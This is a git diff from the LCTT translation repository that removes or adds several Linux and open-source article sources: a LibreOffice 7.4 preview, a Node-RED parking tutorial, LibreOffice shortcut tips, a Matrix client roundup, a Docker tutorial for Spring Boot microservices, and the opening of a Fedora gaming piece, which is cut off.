convert WEBP images, especially in Linux systems. - -Moreover, the support for Windows compressed enhanced meta file (EMZ/WMZ) also lands in this release. - -![New WEBP Image Support][7] - -Secondly, the Fille > Recent Documents can remember the state of the last opened document, whether it was read-only or editable. - -The 3D shapes lighting gets some bug fixes and corrections corresponding to the ODF specifications. - -### Performance Updates - -A bunch of performance boosts also makes this an important release of LibreOffice. Here’s a quick recap of the performance boosts. - -* [The Text Layout performance gets around a 60% boost][8] -* [Calc formula re-calculation][9] -* Improved performance of [VLOOKUP][10], COUNTIF and SUMIF -* [And CSV file import][11] - -That’s not all. LibreOffice 7.4 also brings a huge set of filters (export and import) for Microsoft Office 365 file types, extended PDF export options (such as a sign) via command line, updated language support and API changes. - -### Download LibreOffice 7.4 for Testing - -You can download the development version of LibreOffice 7.4 using the respective links and help to test. - -* [RPM Package for Fedora and related distributions][12] -* [DEB packages for Ubuntu, Linux Mint and others][13] -* [Windows 10, 11 – 64-bit][14] -* [macOS 64 bit][15] -* [Mac OS X – ARM and Apple SIlicon, M1][16] - -If you need assistance, you can refer to our [guide here][17] to install the development version in Linux. Make sure to report any issues or bugs in the [official bug tracker.][18] - -LibreOffice 7.4 is planned for release between Aug 15, 2022, and Aug 21, 2022. - -*[Via Release Notes][19]* - --------------------------------------------------------------------------------- - -via: https://www.debugpoint.com/2022/06/libreoffice-7-4/ - -作者:[Arindam][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.debugpoint.com/author/admin1/ -[b]: https://github.com/lkxed -[1]: https://www.debugpoint.com/wp-content/uploads/2022/06/LibreOffice-7.4-Calc-now-supports-16k-columns.jpg -[2]: https://bugs.documentfoundation.org/show_bug.cgi?id=139602 -[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/Additional-formula-in-Autosum-tool.jpg -[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/Height-of-Calc-Formula-bar.jpg -[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/New-Hyphenation-settings.jpg -[6]: https://www.debugpoint.com/wp-content/uploads/2022/06/New-Theme-option-in-Slide-Master-Properties.jpg -[7]: https://www.debugpoint.com/wp-content/uploads/2022/06/New-WEBP-Image-Support.jpg -[8]: http://llunak.blogspot.com/2022/04/improving-text-layout-performance.html -[9]: https://bugs.documentfoundation.org/show_bug.cgi?id=119083 -[10]: https://bugs.documentfoundation.org/show_bug.cgi?id=146546 -[11]: https://bugs.documentfoundation.org/show_bug.cgi?id=94677 -[12]: https://www.libreoffice.org/download/download/?type=rpm-x86_64&version=7.4.0&lang=en-US -[13]: https://www.libreoffice.org/download/download/?type=deb-x86_64&version=7.4.0&lang=en-US -[14]: https://www.libreoffice.org/download/download/?type=win-x86_64&version=7.4.0&lang=en-US -[15]: https://www.libreoffice.org/download/download/?type=mac-x86_64&version=7.4.0&lang=en-US -[16]: https://www.libreoffice.org/download/download/?type=mac-aarch64&version=7.4.0&lang=en-US -[17]: https://www.debugpoint.com/2022/06/install-latest-libreoffice-ubuntu-linux/ -[18]: https://bugs.documentfoundation.org/ -[19]: https://wiki.documentfoundation.org/ReleaseNotes/7.4 diff --git a/sources/tech/20220614 Build a Smart Parking System for a Metro Station.md b/sources/tech/20220614 Build a Smart Parking System for a Metro Station.md deleted file mode 100644 index 8bb8c21ae6..0000000000 --- a/sources/tech/20220614 Build a Smart Parking System for a Metro Station.md +++ /dev/null @@ -1,141 +0,0 @@ -[#]: subject: "Build a Smart Parking System for a Metro Station" -[#]: via: "https://www.opensourceforu.com/2022/06/build-a-smart-parking-system-for-a-metro-station/" -[#]: author: "Dr Maheswari R. https://www.opensourceforu.com/author/dr-maheswari-r/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Build a Smart Parking System for a Metro Station -====== -This article will help you design a Web based application that automates a smart parking system for cars in a metro station using Node-RED. - -![Smart car parking][1] - -A Web application is software that gets executed on a Web server. Every Web application is accessed by the end user through a Web browser. These Web applications are programmed using a client-server architecture, where the user (client) is provided services through a remotely located server that might be hosted by a third-party. A Web API (application programming interface) is available across the Web and can be accessed by the user using the HTTP protocol, as shown in Figure 1. - -This article will demonstrate how to design a Web based application for an automated smart parking system for cars in a metro station. It is designed using open source Node-RED. This system creates an interactive and stylish user login form using a template node, where HTML and CSS are coded to get car owner details to automate the parking system. We can see the login and submission form flow diagrams in Figures 2 and 3. - -The nodes used are as follows: - -**[Metro smart parking node flow design][2]** -Node-RED is triggered using the command ‘node-red’. Through the URL *http://127.0.0.1:1880/*, the node-RED UI flow browser is enabled. We have considered that the Node-RED setup is done and working. - -![table function][3] - -![Figure 1: Web API][4] - -Follow the steps given below to create the login and submission forms. - -![Figure 2: Login form flow diagram][5] - -![Figure 3: Submission form flow diagram][6] - -*Login form* -1) From the node palette, drag and drop http in node, which creates an HTTP end point for creating Web services. -2) Connect http in node to function node. The latter helps to code JavaScript functions to run against the messages being received by the node. - -![Figure 4: Login form for smart parking for cars][7] - -3) Connect function node to template node, where the latter creates a Web API based on the provided template. -4) Connect template node to http response node; the latter sends responses back to requests received from an http input node. - -![Figure 5: Submission form for smart parking for cars][8] - -**Submission form** -1) Drag and drop http in node and connect it to json node, which converts and communicates the data as JSON string. -2) Connect http in node to debug node, which gives output in a debug monitor. -3) Place and connect json node to function node and connect the latter to http response node. - -After the creation of a complete flow, click on the Deploy button in the top right corner of the Node-RED window. To view the user interface, go to the link*127.0.0.1:1880/ui/.* -Once you enter and then click Submit, it will take you to the next page where you can read all the news articles. - -**Node-RED workflow** -In a single flow of Node-RED, you can create both the login form and submission form, as shown in Figures 4 and 5. - -Now we will configure the Node properties. - -*Login form:* Edit the http in property by choosing the method ‘Get’ and set the URL to ‘/MetroStation’ and configure the name as ‘Smart Parking’. - -![Figure 6: Http in node property configurations][9] - -| - | -| :- | -| Note: The URL can be any user defined local variable. | - -Now select the function node and edit its properties by coding the ‘msg.url = project’ and configure the name field with ‘Project Submission’. - -![Figure 7: Function node property configurations][10] - -In the Property window of the template node, configure the appropriate HTML code required for the login form and specify the name as ‘Display panel’. The Mustache template format is being used in this flow. Mustache is a simple Web template system that is described as a logicless template engine. It does not have any explicit control flow statements, such as ‘if’ and ‘else’ conditionals or ‘for’ loops. Looping and conditional evaluation can be achieved using section tags processing lists and lambdas. - -![Figure 8: Template node property configurations][11] - -Configure the edit property of http response node with the name ‘Smart Parking’ (Figure 9). - -![Figure 9: Http response node property configurations][12] - -*Submission form:*In the edit property window of http in node, choose the method ‘POST’ and the URL ‘/project’. - -![Figure 10: Http in node property configurations][13] - -In the JSON node edit window, set *Action* as ‘Convert between JSON String & Object’. Refer to Figure 11. - -![Figure 11: JSON node property configurations][14] - -The function node is configured as specified in Figure 12. - -![Figure 12: Function node property configurations][15] - -In http response node, edit the property name as ‘Project Submitted’. - -![Figure 13: Http response node property configurations][16] - -| - | -| :- | -| Note: Also add the comment node with comments as ‘Login Form’ and ‘Submission Form’ | - -![Figure 14: Debug node property configurations][17] - -**Dashboard UI Web page** -When the user clicks on Submit, the data given will be displayed in the UI and the debug node. If Reset is clicked, the details will be cleared, allowing the user to enter new details (Figure 15). - -![Figure 15: User login UI][18] - -Metro parking rates are provided through a hyperlink, and the tariff output is displayed in the UI. So the smart parking for cars is automated with appropriate hyperlinks to exhibit the parking tariff at the metro station. The final outputs of this automated system are retrieved and displayed in the Node-RED dashboard UI and debug monitor. - -![Figure 16: Metro parking tariff][19] - --------------------------------------------------------------------------------- - -via: https://www.opensourceforu.com/2022/06/build-a-smart-parking-system-for-a-metro-station/ - -作者:[Dr Maheswari R.][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.opensourceforu.com/author/dr-maheswari-r/ -[b]: https://github.com/lkxed -[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Smart-car-parking.jpg -[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/table-function-node-red.jpg -[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/table-function-node-red.jpg -[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Web-Application-Programming-Interface300.jpg -[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-Login-Form-Flow-Diagram300.jpg -[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-Submission-Form-Flow-Diagram300.jpg -[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-Login-Form-of-Metro-Smart-Car-Parking300.jpg -[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-Submission-Form-of-Metro-Smart-Car-Parking300.jpg -[9]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Http-in-Node-Property-Configurations300.jpg -[10]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Function-Node-Property-Configurations300.jpg -[11]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-8-Template-Node-Property-Configurations300.jpg -[12]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-9-Template-Node-Property-Configurations300.jpg -[13]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-10-Http-in-Node-Property-Configurations300.jpg -[14]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-11-Json-Node-Property-Configurations300.jpg -[15]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-12-Function-Node-Property-Configurations300.jpg -[16]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-13-Http-Response-Node-Property-Configurations300.jpg -[17]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-14-Debug-Node-Property-Configurations300.jpg -[18]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-15-User-Login-UI300.jpg -[19]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-16-Parking-Tariff-Metro300.jpg diff --git a/sources/tech/20220615 How I use LibreOffice keyboard shortcuts.md b/sources/tech/20220615 How I use LibreOffice keyboard shortcuts.md deleted file mode 100644 index 4130c2576f..0000000000 --- a/sources/tech/20220615 How I use LibreOffice keyboard shortcuts.md +++ /dev/null @@ -1,60 +0,0 @@ -[#]: subject: "How I use LibreOffice keyboard shortcuts" -[#]: via: "https://opensource.com/article/22/6/libreoffice-keyboard-shortcuts" -[#]: author: "Jim Hall https://opensource.com/users/jim-hall" -[#]: collector: "lkxed" -[#]: translator: "geekpi" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How I use LibreOffice keyboard shortcuts -====== -Keyboard shortcuts keep me focused on the content that I'm meant to deliver, and not its appearance. - -![Programming keyboard.][1] - -Image by: Opensource.com - -I have used word processing software for as long as I can remember. When word processors moved from direct formatting to leveraging styles to change how text appears on the page, that was a big boost to my writing. - -LibreOffice provides a wide variety of styles that you can use to create all kinds of content. LibreOffice applies paragraph styles to blocks of text, such as body text, lists, and code samples. Character styles are similar, except that these styles apply to inline words or other short text inside a paragraph. Use the **View -> Styles** menu, or use the **F11** keyboard shortcut, to bring up the Styles selector. - -![Image of LibreOffice styles][2] - -Using styles makes writing longer documents much easier. Consider this example: I write a lot of workbooks and training material as part of my consulting practice. A single workbook might be 40 or 60 pages long, depending on the topic, and can include a variety of content such as body text, tables, and lists. Some of my technical training material may also include source code examples. - -I have a standard training set that I offer clients, but I do custom training programs too. When working on a custom program, I might start by importing text from another workbook, and working from there. Depending on the client, I might also adjust the font and other style elements to match the client's style preferences.  For other materials, I might need to add source code examples. - -To enter sample source code using direct formatting, I need to set the font and adjust the margins for each code block in the workbook. If I later decide that my workbook should use a different font for body text or source code samples, I would need to go back and change everything. For a workbook that includes more than a few code samples, this could require several hours to hunt down every source code example and adjust the font and margins to match the new preferred format. - -However, by using styles, I can update the definition once to use a different font for the Text Body style, and LibreOffice Writer updates my document everywhere that uses the Text Body style. Similarly, I can adjust the font and margins for the Preformatted Text style, and LibreOffice Writer applies that new style to every source code example with the Preformatted Text style. This is the same for other blocks of text, including titles, source code, lists, and page headers and footers. - -I recently had the bright idea to update the LibreOffice keyboard shortcuts to streamline my writing process. I've redefined **Ctrl**+**B** to set character style Strong Emphasis, **Ctrl**+**I** to set character style Emphasis, and **Ctrl**+**Space** to set No Character Style. This makes my writing much easier, as I don't have to pause my writing so I can highlight some text and select a new style. Instead, I can use my new **Ctrl**+**I** keyboard shortcut to set the Emphasis character style, which is essentially italics text. Anything I type after that uses the Emphasis style, until I press **Ctrl**+**Space** to reset the character style back to the default No Character Style. - -![Image of LibreOffice character styles][3] - -If you want to set this yourself, use **Tools > Customize,** then click on the Keyboard tab to modify your keyboard shortcuts. - -![Image of LibreOffice keyboard customizations][4] - -LibreOffice makes technical writing much easier with styles. And by leveraging keyboard shortcuts, I've streamlined how I write, keeping me focused on the content that I'm meant to deliver, and not its appearance. I might change the formatting later, but the styles remain the same. - -Image by: (Jim Hall, CC BY-SA 40) - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/22/6/libreoffice-keyboard-shortcuts - -作者:[Jim Hall][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lkxed -[1]: https://opensource.com/sites/default/files/lead-images/programming_keyboard_coding.png -[2]: https://opensource.com/sites/default/files/2022-06/libreofficestyles.png -[3]: https://opensource.com/sites/default/files/2022-06/libreofficecharstyles.png -[4]: https://opensource.com/sites/default/files/2022-06/libreofficekeyboardcustom.png diff --git a/sources/tech/20220616 9 Best Matrix Clients for Decentralized Messaging.md b/sources/tech/20220616 9 Best Matrix Clients for Decentralized Messaging.md deleted file mode 100644 index efe78ded0a..0000000000 --- a/sources/tech/20220616 9 Best Matrix Clients for Decentralized Messaging.md +++ /dev/null @@ -1,207 +0,0 @@ -[#]: subject: "9 Best Matrix Clients for Decentralized Messaging" -[#]: via: "https://itsfoss.com/best-matrix-clients/" -[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -9 Best Matrix Clients for Decentralized Messaging -====== -Matrix is an open network standard tailored for secure decentralized real-time communication. - -It is published and maintained by a non-profit, Matrix.org Foundation. They aim to create an open, independent, and evolving communication platform. - -If an application supports the Matrix protocol, you can consider it a Matrix client. - -### Why Should You Choose a Matrix Client? - -[Matrix][1] clients focus on security and privacy and offer a decentralized network that provides opportunities for numerous things. - -Since 2019 (when it got out of beta), several organizations and government authorities have gradually adopted the Matrix protocol to empower their communication platforms for security, privacy, and reliability. - -For instance, a decentralized protocol makes way for cross-communication between organizations and gives you a communication protocol that is resistant to censorship. - -Matrix protocol is the right choice if you want something that gets you away from the big tech. - -Not just limited to that, you also get the ability to run your server to join the Matrix network. In other words, you get a decentralized infrastructure for communication while still having some control over it to set it up and configure it as per your requirements. - -In case you are curious, Matrix protocol has all the essential features one would need, including: - -* Decentralized conversations -* End-to-End encryption -* WebRTC VoIP/Video calling -* Real-time sync -* Read receipts -* Typing Notifications -* Group conversations - -And, I should highlight this again: It is an **open-source** project! - -So, it is a no-brainer to opt for Matrix clients, especially now that more users care about their privacy and security. - -### 9 Top Open-Source Matrix Clients - -Here, I shall highlight some of the most helpful Matrix clients, primarily for desktop (Linux, Windows, macOS), while also mentioning mobile and terminal clients. - -#### 1. Element - -![element][2] - -[Element][3] is one of the best open-source Slack alternatives. You can use it for personal communication and team chat as well. - -It is free to get started, but you do have options to self-host your server or pay a premium for a managed home server. You get various useful features to collaborate effectively and securely communicate with your team/friends. - -If you opt to pay for a subscription, you can even choose to bring your Signal, WhatsApp, and Telegram chats into a single place. - -It supports Linux, Windows, and macOS while offering a proper mobile client for Android and iOS. Additionally, you can use it through the web browser. So, it should be a convenient option. - -[Element][4] - -#### 2. Rocket.Chat - -![rocket chat][5] - -[Rocket.Chat][6] is yet another Slack alternative, which we prefer to use for our internal team communication. - -It is available for Linux, Windows, and macOS. You also get mobile applications for Android and iOS. - -While it gives you the option to self-host or opt for a premium subscription, it also announced that it is adding [support for Matrix protocol integration][7]. - -When writing this, the Matrix network can be utilized using an alpha build. However, the stable build for it should be around the corner. So, if you are already using Rocket.Chat, or want to use it as a Matrix client, you might want to keep an eye on its upcoming releases. - -[Rocket.Chat][8] - -#### 3. NeoChat - -![neochat][9] - -NeoChat is a simple Matrix client actively developed under KDE’s umbrella. - -Unlike Element, it is only available for Linux and Windows, and particularly tailored for KDE Plasma. You can use it on other desktop environments as well. - -You can install it through KDE’s Discover software center, Flathub, and Snap Store. It is not available for mobile platforms. So, it can be a good candidate for desktop users who prefer a straightforward Matrix client. - -Check out its [source code][10] to explore more about it. - -[NeoChat][11] - -#### 4. FluffyChat - -![fluffychat][12] - -FluffyChat makes up for a good-looking (cute) Matrix client in terms of user experience. - -If you want a simple and intuitive Matrix client on your desktop with mobile apps (Android and iOS) available, FluffyChat is an impressive option. - -For Linux, you can install it from the Snap Store or the Flathub. It does not offer native apps for Windows and macOS, but you can use it through the web browser. - -If you are curious, you can check out its [GitLab page][13] to know more. - -[FluffyChat][14] - -#### 5. Fractal - -![fractal][15] - -Fractal is a Matrix messaging client for GNOME desktop, written in Rust. As per its description, it provides an optimized interface fit for collaboration in large groups. - -Considering it is available as a Flatpak, you can install it on any Linux distribution, irrespective of the desktop environment. - -Fractal seems an excellent option for users who focus on applications that perform the fastest on their system. You can head to its [GitLab page][16] to research more about it. - -[Fractal][17] - -#### 6. Hydrogen Web (Experimental) - -![hydrogen][18] - -Looking for another minimal (performance-focused) Matrix client? - -Hydrogen is a chat client that aims to provide a lightweight experience, offline functionality, and wide browser support. - -While it is still a work in progress, it is being developed by the same team behind the Element messenger. So, if you longingly expect a lightweight Matrix client as an alternative to others, you might want to follow the project on its [GitHub page][19]. - -[Hydrogen][20] - -#### 7. Matrix Commander (CLI-based) - -This command-line tool can be the perfect fit if you want to use the terminal to send/receive text messages via the Matrix network. - -Of course, you cannot do everything from the terminal. So, it is best suited for creating cron jobs for message reminders, or bots, and similar use-cases. - -You can find it on [PyPi][21] and Docker Hub as well. - -[Matrix Commander][22] - -#### 8. Gomuks (CLI-based) - -![gomuks][23] - -Need a terminal-based Matrix client written in Go? - -Not for everyone to try. But, if you are someone who likes to use command-line tools written in Go, Gomuks can be a straightforward Matrix client for basic messaging. - -You can find the binaries for Linux, Windows, and macOS on its [GitHub releases section][24]. - -[Gomuks][25] - -#### 9. Syphon (Alpha) - -![syphon][26] - -We usually avoid listing programs in their early stages of development. However, Syphon is an interesting option as a mobile-exclusive Matrix client. - -If you want a Signal-like open-source Matrix client for your Android/iOS device, Syphon can be an exciting choice. The user interface looks familiar (but not an exact copy of it). You can try it out if you are looking to experiment. - -[Syphon][27] - -### Wrapping Up - -Matrix protocol may not be entirely popular across every organization and demographic. However, it is proving to be one of the most robust decentralized networks for privacy and reliability as an open-source project. - -The best thing is that you get to choose the client you want, without being forced to use a particular app for communication across multiple devices. - -So, what would you choose as your favorite Matrix client? - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/best-matrix-clients/ - -作者:[Ankush Das][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lkxed -[1]: https://matrix.org/ -[2]: https://itsfoss.com/wp-content/uploads/2022/06/element-2022.jpg -[3]: https://itsfoss.com/element/ -[4]: https://element.io/ -[5]: https://itsfoss.com/wp-content/uploads/2022/06/rocket-chat-2022.jpg -[6]: https://itsfoss.com/rocket-chat/ -[7]: https://news.itsfoss.com/rocket-chat-matrix/ -[8]: https://rocket.chat/ -[9]: https://itsfoss.com/wp-content/uploads/2022/06/neochat.png -[10]: https://invent.kde.org/network/neochat -[11]: https://apps.kde.org/neochat/ -[12]: https://itsfoss.com/wp-content/uploads/2022/06/fluffychat.png -[13]: https://gitlab.com/famedly/fluffychat -[14]: https://fluffychat.im/ -[15]: https://itsfoss.com/wp-content/uploads/2022/06/fractal.png -[16]: https://gitlab.gnome.org/GNOME/fractal -[17]: https://wiki.gnome.org/Apps/Fractal -[18]: https://itsfoss.com/wp-content/uploads/2022/06/hydrogen.png -[19]: https://github.com/vector-im/hydrogen-web/ -[20]: https://github.com/vector-im/hydrogen-web/ -[21]: https://pypi.org/project/matrix-commander/ -[22]: https://github.com/8go/matrix-commander -[23]: https://itsfoss.com/wp-content/uploads/2022/06/gomuks.png -[24]: https://github.com/tulir/gomuks/releases -[25]: https://maunium.net/go/gomuks/ -[26]: https://itsfoss.com/wp-content/uploads/2022/06/syphon.jpg -[27]: https://syphon.org/ diff --git a/sources/tech/20220617 Containerisation of Java Microservices.md b/sources/tech/20220617 Containerisation of Java Microservices.md new file mode 100644 index 0000000000..5beffb4758 --- /dev/null +++ b/sources/tech/20220617 Containerisation of Java Microservices.md @@ -0,0 +1,167 @@ +[#]: subject: "Containerisation of Java Microservices" +[#]: via: "https://www.opensourceforu.com/2022/06/containerisation-of-java-microservices/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Containerisation of Java Microservices +====== +Frequent roll outs of microservices demand self-contained units that ensure safe and successful deployments. Containerisation offers an elegant solution. In this part 7 of the Design Odyssey, we will build and deploy the AddService of UMS as a Docker container. + +![Container][1] + +In the previous part of this series, it was observed that a packaged Spring Boot application carries an embedded Tomcat Web server along with class files and dependent libraries. However, the JRE was left out of the application package. The deployment engineer is still required to find and install a suitable JRE before deploying the application. How about including the JRE also into the package and distributing it so that the deployment can be automated fully? + +That’s exactly what containerisation is! + +As depicted in Figure 1, a container is a deployment unit that consists of not only the application code but also the required operating environment, which includes artifacts like JRE, Python runtime, Node runtime, etc, as required. + +![Figure 1: Deployment unit with containerisation][2] + +#### Docker containers + +In theory, the concept of containerisation is not very new. For example, the Linux operating system has already been offering the necessary bits and pieces in that direction. However, credit goes to the Docker containers for the popularity of this approach in the last decade. +The architecture of Docker containers can be summarised as shown in Figure 2. It consists of: (1) a Docker Hub, which is a repository of distributable images of Docker containers, and (2) a Docker Engine, which runs the Docker containers. + +![Figure 2: The Docker architecture][3] + +The architecture is well supported by the other ecosystem players like Git, Jenkin, Maven, etc. + +As part of the development cycle, the engineers write and push the code to Git repositories. As part of the build cycle, build tools like Jenkins pull the code from Git repositories, build the Docker image and push it to the Docker Hub. + +As part of the deployment cycle, the Docker runtime pulls the image from Docker Hub and creates Docker containers that bring the applications to life. Any number of images can be pulled and launched on a single instance of Docker runtime. Where is the magic? + +Docker containers are language-agnostic. They are capable of running applications on any platform. For example, they can run an Express Web service on Node or a Flask Web service on Python, or a Spring Boot Web service on JRE. The answer is simple. The container just offers a sandbox with a Linux environment. The container image must package everything else that is required for the application. For example, the image of a Flask service must include Python runtime into the container image and similarly, the image of a Spring Boot service must include JRE. + +Let’s explore the last option a bit more. + +#### Spring Boot and Docker container + +The Maven build tool packages a Java application. The Docker build tool packages a container. Just like the pom.xml acts as the manifest file for the Maven build tool, Dockerfile acts as the manifest file for the Docker build tool. + +A Dockerfile specifies the root container as the prerequisite, and presents directives to be followed in order to create the image. For instance, the following is a manifest for building a Docker image of a Spring Boot Web application. + +``` +FROM maven:3.5-jdk-8 +COPY src /usr/glarimy/src +COPY pom.xml /usr/glarimy +RUN mvn -f /usr/glarimy/pom.xml clean package +EXPOSE 8080 +ENTRYPOINT [“java”,”-jar”,”/usr/glarimy/target/ums-add-service.jar”] +``` + +Let’s decipher it line by line. + +FROM maven:3.5-jdk-8 + +The above directive specifies maven:3.5-jdk-8 as the root container. This makes sure that a Docker container is started with a JDK of version 8 and the Maven of version 3.5 is available for the rest of the packaging process. This container is used only for building the image. Let’s call this a build-container. + +``` +COPY src /usr/glarimy/src +COPY pom.xml /usr/glarimy +``` + +The above directives create /usr/glarimy folder on the build-container and copy the code from a local src folder to a /usr/glarimy/src folder on the build-container. They also copy the local pom.xml file to /usr/glarimy on the build-container. + +``` +RUN mvn -f /usr/glarimy/pom.xml clean package +``` + +This directive kicks off the Maven build process to package the Java code as per the referred pom.xml. Note that all this happens on the build-container. Once the process is completed, the container image for the Spring Boot application is ready. This image can be run as a container, which we refer to as deployment-container. However, we still need to specify the directives on how to launch this on the deployment-container. + +``` +EXPOSE 8080 +``` + +The above directive specifies that port 8080 be opened up for traffic on the deployment-container when this image runs. + +``` +ENTRYPOINT [“java”,”-jar”,”/usr/glarimy/target/ums-add-service.jar”] +``` + +This directive specifies the command to launch the application on the deployment-container. +There are several other directives possible, but the approach is more or less similar. Once the Dockerfile is ready, and the Docker is installed on a given machine, the following command on a Docker runtime is sufficient to build the container image. + +``` +docker build -t glarimy/ums-add-service . +``` + +Observe that the last token of the above command points to the location of Dockerfile, which is the current folder in this case. + +The following command lists all available images on the local Docker Engine: + +``` +docker images +``` + +Figure 3 presents a sample output of the above command. This list includes the images that are pulled from the Docker Hub as well as built locally. + +![Figure 3: Listing the Docker images][4] + +It’s not useful if the created Docker image of the application just lies on the local Docker Engine. In order for it to be deployed on the target infrastructure, the image needs to be distributed. The following command publishes the local image on the Docker Hub so that anyone can pull it for deployment. Of course, an account needs to be created on [https://hub.docker.com][5] before pushing the image to the hub. + +``` +docker push glarimy/ums-add-service +``` + +The images on the Docker Hub can be searched online at[https://hub.docker.com/][6]. + +![Figure 4: Listing the containers][7] + +Individuals and organisations can create private spaces to ensure the confidentiality of the images. In fact, automated builds can also be set up on Docker Hub in such a way that it listens to the code commits on Git and kicks off building a new version of the image immediately. Organisations may use several other tools like Jenkins and design a CI pipeline. +One way or another, once an image is available in the hub, it can be pulled to any Docker machine with the following command: + +``` +docker pull glarimy/ums-add-service +``` + +And the following command launches a new Docker container from the image and exposes it to the clients: + +``` +docker container run -d --name ums-add-service -p 8080:8080 glarimy/ums-add-service +``` + +This command may look a bit complicated, but it’s not really so once it is understood. + +* The docker container run is the command that runs the container. +* The -d switch makes it a daemon process so that the prompt is back. +* The -name switch names the container as expected. Without this switch, the Docker Engine generates a name that may not be intuitive. +* The -p switch maps the port 8080 of the container to the port 8080 of the host machine so that the clients outside of the container can also access the service. +* And the last part is the actual name of the image that needs to be run, which is glarimy/ums-add-service in this case. +* The list of containers running currently can be found using the following command: + +``` +docker container ps +``` + +Now the service can be accessed from the host machine using the appropriate CURL command or using any REST client, just like it was done in the previous parts of this series. + +#### Next steps + +Though the Docker containers solve the problem of building ready-to-run self-contained images that can be deployed onto any Docker machine, this is certainly not sufficient. What if microservices running in two different containers want to access each other? What if a microservice wants to access a database server? What if N number of instances of a given service must always be run to handle the load? + +The answer lies in networking and orchestrating the containers, which will be covered in the next part of this series. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/containerisation-of-java-microservices/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Container.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-1-Deployment-unit-with-containerisation.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-2-The-Docker-architecture.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-3-Listing-the-Docker-images.jpg +[5]: https://hub.docker.com +[6]: https://hub.docker.com/ +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Figure-4-Listing-the-containers.jpg diff --git a/sources/tech/20220617 Fedora Workstation-s State of Gaming – A Case Study of Far Cry 5 -2018-.md b/sources/tech/20220617 Fedora Workstation-s State of Gaming – A Case Study of Far Cry 5 -2018-.md deleted file mode 100644 index 8980a8501c..0000000000 --- a/sources/tech/20220617 Fedora Workstation-s State of Gaming – A Case Study of Far Cry 5 -2018-.md +++ /dev/null @@ -1,221 +0,0 @@ -[#]: subject: "Fedora Workstation’s State of Gaming – A Case Study of Far Cry 5 (2018)" -[#]: via: "https://fedoramagazine.org/fedora-workstation-state-of-gaming-far-cry-5/" -[#]: author: "Akashdeep Dhar https://fedoramagazine.org/author/t0xic0der/" -[#]: collector: "lkxed" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Fedora Workstation’s State of Gaming – A Case Study of Far Cry 5 (2018) -====== -![][1] - -[Liam Dawe/GamingOnLinux, PNG version by Vulphere][2], [CC BY-SA 4.0][3], via Wikimedia Commons - -First-person shooter video games are a great proving ground for strategies that make you finish on the top, reflexes that help you to shoot before getting shot and agility that adjusts you to whatever a situation throws at you. Add the open-ended nature brought in by large intricately-designed worlds into the mix, and it dials the player experience to eleven and, with that, it also becomes great evidence of what a platform is capable of. Needless to say, I have been a great fan of open-world first-person shooter games. And Ubisoft’s Far Cry series happens to be the one which remains closest to my heart. So I tried the (second) most recent release in the long-running series, Far 